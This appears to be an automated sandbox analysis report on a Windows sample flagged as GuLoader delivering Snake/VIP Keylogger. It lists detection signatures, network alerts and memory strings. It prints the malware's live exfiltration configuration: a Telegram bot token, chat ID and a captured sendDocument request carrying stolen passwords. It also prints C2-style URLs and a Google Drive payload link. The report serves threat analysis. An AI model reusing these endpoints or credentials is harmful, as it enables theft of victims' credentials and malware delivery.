Edit tour

Windows Analysis Report
ZoRLXzC5qF.exe

Overview

General Information

Sample name:	ZoRLXzC5qF.exe renamed because original name is a hash value
Original sample name:	fc6fb69c921c1d6b3057cfd5658ef095e00f9fa125fe8675c653fa6ce38e118f.exe
Analysis ID:	1588557
MD5:	63a7bcf75c4f84b0e2dd1645f9e8fcfe
SHA1:	89d5b0b09816aad68fdc82d47036e59c92200688
SHA256:	fc6fb69c921c1d6b3057cfd5658ef095e00f9fa125fe8675c653fa6ce38e118f
Tags:	exeGuLoadersigneduser-adrian__luca
Infos:

Detection

GuLoader, Snake Keylogger, VIP Keylogger

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected GuLoader

Yara detected Snake Keylogger

Yara detected Telegram RAT

Yara detected VIP Keylogger

AI detected suspicious sample

Switches to a custom stack to bypass stack traces

Tries to detect the country of the analysis system (by using the IP)

Tries to detect virtualization through RDTSC time measurements

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Mail credentials (via file / registry access)

Uses the Telegram API (likely for C&C communication)

Allocates memory with a write watch (potentially for evading sandboxes)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to dynamically determine API calls

Contains functionality to shutdown / reboot the system

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Enables debug privileges

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May check the online IP address of the machine

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE / OLE file has an invalid certificate

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Uses insecure TLS / SSL version for HTTPS connection

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

ZoRLXzC5qF.exe (PID: 6468 cmdline: "C:\Users\user\Desktop\ZoRLXzC5qF.exe" MD5: 63A7BCF75C4F84B0E2DD1645F9E8FCFE)

ZoRLXzC5qF.exe (PID: 3760 cmdline: "C:\Users\user\Desktop\ZoRLXzC5qF.exe" MD5: 63A7BCF75C4F84B0E2DD1645F9E8FCFE)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Name	Description	Attribution	Blogpost URLs	Link
404 Keylogger, Snake Keylogger	Snake Keylogger (aka 404 Keylogger) is a subscription-based keylogger that has many capabilities. The infostealer can steal a victims sensitive information, log keyboard strokes, take screenshots and extract information from the system clipboard. It was initially released on a Russian hacking forum in August 2019. It is notable for its relatively unusual methods of data exfiltration, including via email, FTP, SMTP, Pastebin or the messaging app Telegram.	No Attribution	https://any.run/cybersecurity-blog/analyzing-snake-keylogger/ https://any.run/cybersecurity-blog/reverse-engineering-snake-keylogger/ https://blog.netlab.360.com/purecrypter https://blog.nviso.eu/2022/04/06/analyzing-a-multilayer-maldoc-a-beginners-guide/ https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord	https://malpedia.caad.fkie.fraunhofer.de/details/win.404keylogger

Malware Configuration

Threatname: Telegram RAT

{"C2 url": "https://api.telegram.org/bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendMessage"}

Threatname: Snake Keylogger

{"Exfil Mode": "Telegram", "Token": "8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog", "Chat_id": "1767942457", "Version": "4.4"}

Yara Signatures

Memory Dumps

Source	Rule	Description	Author
00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_VIPKeylogger	Yara detected VIP Keylogger	Joe Security
00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_SnakeKeylogger	Yara detected Snake Keylogger	Joe Security
00000000.00000002.1845384841.0000000008108000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Process Memory Space: ZoRLXzC5qF.exe PID: 3760	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: ZoRLXzC5qF.exe PID: 3760	JoeSecurity_TelegramRAT	Yara detected Telegram RAT	Joe Security
Click to see the 1 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:31.089602+0100	2803305	3	Unknown Traffic	192.168.2.8	49713	104.21.16.1	443	TCP
2025-01-11T02:23:32.371689+0100	2803305	3	Unknown Traffic	192.168.2.8	49715	104.21.16.1	443	TCP
2025-01-11T02:23:34.895490+0100	2803305	3	Unknown Traffic	192.168.2.8	49719	104.21.16.1	443	TCP
2025-01-11T02:23:38.662546+0100	2803305	3	Unknown Traffic	192.168.2.8	49725	104.21.16.1	443	TCP

ETPRO MALWARE Common Downloader Header Pattern UH

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:27.495045+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	193.122.6.168	80	TCP
2025-01-11T02:23:30.338813+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49711	193.122.6.168	80	TCP
2025-01-11T02:23:31.807685+0100	2803274	2	Potentially Bad Traffic	192.168.2.8	49714	193.122.6.168	80	TCP

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:20.838039+0100	2803270	2	Potentially Bad Traffic	192.168.2.8	49708	142.250.186.78	443	TCP

Joe Security ANOMALY Telegram Send File

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:47.351177+0100	1810008	1	Potentially Bad Traffic	192.168.2.8	49730	149.154.167.220	443	TCP

Joe Security ANOMALY Telegram Send Message

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T02:23:40.821677+0100	1810007	1	Potentially Bad Traffic	192.168.2.8	49728	149.154.167.220	443	TCP

HTTP traffic detected: POST /bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendDocument?chat_id=1767942457&caption=%20Pc%20Name:%20user%20%7C%20/%20VIP%20Recovery%20%5C%0D%0A%0D%0APW%20%7C%20user%20%7C%20VIP%20Recovery HTTP/1.1Content-Type: multipart/form-data; boundary=------------------------8dd326d50cf3dcaHost: api.telegram.orgContent-Length: 582

Source: global traffic

HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginx/1.18.0Date: Sat, 11 Jan 2025 01:23:40 GMTContent-Type: application/jsonContent-Length: 55Connection: closeStrict-Transport-Security: max-age=31536000; includeSubDomains; preloadAccess-Control-Allow-Origin: *Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection

Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://51.38.247.67:8081/_send_.php?L
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://aborters.duckdns.org:8081
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://anotherarmy.dns.army:8081
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://api.telegram.org
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://checkip.dyndns.org/
Source: ZoRLXzC5qF.exe	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B31000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://varders.kozow.com:8081
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot/sendMessage?chat_id=&text=%20%0D%0A%0D%0APC%20Name:887849%0D%0ADate%20a
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CAB000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://api.telegram.org/bot8118244750:AAHW9qN4qIFfpwTeDTPtn27qicq6nUcMbog/sendDocument?chat_id=1767
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://apis.google.com
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CEE000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=en
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036CE9000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://chrome.google.com/webstore?hl=enlB
Source: ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006508000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/
Source: ZoRLXzC5qF.exe, 00000003.00000002.2716248320.0000000035AE0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh
Source: ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh%
Source: ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006541000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.google.com/uc?export=download&id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh-
Source: ZoRLXzC5qF.exe, 00000003.00000003.1984343811.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/
Source: ZoRLXzC5qF.exe, 00000003.00000003.1984343811.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/a
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh&export=download
Source: ZoRLXzC5qF.exe, 00000003.00000003.1984343811.000000000656F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh&export=downloadj
Source: ZoRLXzC5qF.exe, 00000003.00000002.2696485055.0000000006563000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://drive.usercontent.google.com/download?id=1U6zpyYnerZKL6I_vZZB3JqUJ1TULeUrh&export=downloado
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036BEB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B7C000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036B7C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036BEB000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036BA6000.00000004.00000800.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036C12000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://reallyfreegeoip.org/xml/8.46.123.189$
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://ssl.gstatic.com
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.google.com/translate_a/element.js
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://translate.googleapis.com/_/translate_http/_/js/;report-uri
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.ecosia.org/newtab/
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com/analytics.js
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google-analytics.com;report-uri
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com
Source: ZoRLXzC5qF.exe, 00000003.00000002.2718306187.0000000037B51000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.googletagmanager.com
Source: ZoRLXzC5qF.exe, 00000003.00000003.1947577924.000000000657F000.00000004.00000020.00020000.00000000.sdmp, ZoRLXzC5qF.exe, 00000003.00000003.1947468613.000000000657F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036D10000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/
Source: ZoRLXzC5qF.exe, 00000003.00000002.2717036358.0000000036D1A000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.office.com/lB

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49721
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49727 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49725 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49719 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49719
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49717
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49715 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49715
Source: unknown	Network traffic detected: HTTP traffic on port 49717 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49730
Source: unknown	Network traffic detected: HTTP traffic on port 49730 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49728 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49721 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49723 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49728
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49727
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49725
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49723

Source: unknown	HTTPS traffic detected: 142.250.186.78:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 142.250.185.65:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 149.154.167.220:443 -> 192.168.2.8:49728 version: TLS 1.2

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe

Code function: 0_2_0040573B GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,ShowWindow,ShowWindow,GetDlgItem,SendMessageW,SendMessageW,SendMessageW,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,ShowWindow,LdrInitializeThunk,SendMessageW,CreatePopupMenu,LdrInitializeThunk,AppendMenuW,GetWindowRect,TrackPopupMenu,SendMessageW,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageW,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040573B

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,LdrInitializeThunk,wsprintfW,GetFileAttributesW,DeleteFileW,LdrInitializeThunk,SetCurrentDirectoryW,LdrInitializeThunk,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		0_2_00403552
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00403552 EntryPoint,SetErrorMode,GetVersionExW,GetVersionExW,GetVersionExW,lstrlenA,#17,OleInitialize,SHGetFileInfoW,GetCommandLineW,CharNextW,GetTempPathW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,GetTempPathW,lstrcatW,SetEnvironmentVariableW,SetEnvironmentVariableW,SetEnvironmentVariableW,DeleteFileW,lstrlenW,LdrInitializeThunk,wsprintfW,GetFileAttributesW,DeleteFileW,LdrInitializeThunk,SetCurrentDirectoryW,LdrInitializeThunk,CopyFileW,OleUninitialize,ExitProcess,CloseHandle,GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,ExitWindowsEx,ExitProcess,		3_2_00403552

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File created: C:\Windows\Fonts\frostluften			Jump to behavior
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	File created: C:\Windows\Fonts\frostluften\Mangrate			Jump to behavior

Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_00406DE6	0_2_00406DE6
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_004075BD	0_2_004075BD
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 0_2_6E9B1BFF	0_2_6E9B1BFF
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00406DE6	3_2_00406DE6
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_004075BD	3_2_004075BD
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015C19B	3_2_0015C19B
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015D278	3_2_0015D278
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00155362	3_2_00155362
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015C468	3_2_0015C468
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015C738	3_2_0015C738
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015E988	3_2_0015E988
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_001569A0	3_2_001569A0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_001529E0	3_2_001529E0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015CA08	3_2_0015CA08
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015CCD8	3_2_0015CCD8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00159DE0	3_2_00159DE0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015CFAC	3_2_0015CFAC
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00156FC8	3_2_00156FC8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015E97C	3_2_0015E97C
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_0015F961	3_2_0015F961
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_00153E09	3_2_00153E09
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAFC68	3_2_38DAFC68
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA5028	3_2_38DA5028
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA9548	3_2_38DA9548
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA2968	3_2_38DA2968
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA1E80	3_2_38DA1E80
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA17A0	3_2_38DA17A0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAD0F8	3_2_38DAD0F8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAD0E9	3_2_38DAD0E9
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DACC8F	3_2_38DACC8F
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DACCA0	3_2_38DACCA0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA0040	3_2_38DA0040
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA9C18	3_2_38DA9C18
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA0012	3_2_38DA0012
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAF810	3_2_38DAF810
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAF801	3_2_38DAF801
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA5020	3_2_38DA5020
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DADDF1	3_2_38DADDF1
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAD999	3_2_38DAD999
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAD9A8	3_2_38DAD9A8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA2959	3_2_38DA2959
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAD550	3_2_38DAD550
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAD540	3_2_38DAD540
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DA9544	3_2_38DA9544
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAEAF8	3_2_38DAEAF8
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAE6B0	3_2_38DAE6B0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAE6A0	3_2_38DAE6A0
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAE258	3_2_38DAE258
Source: C:\Users\user\Desktop\ZoRLXzC5qF.exe	Code function: 3_2_38DAE257	3_2_38DAE257
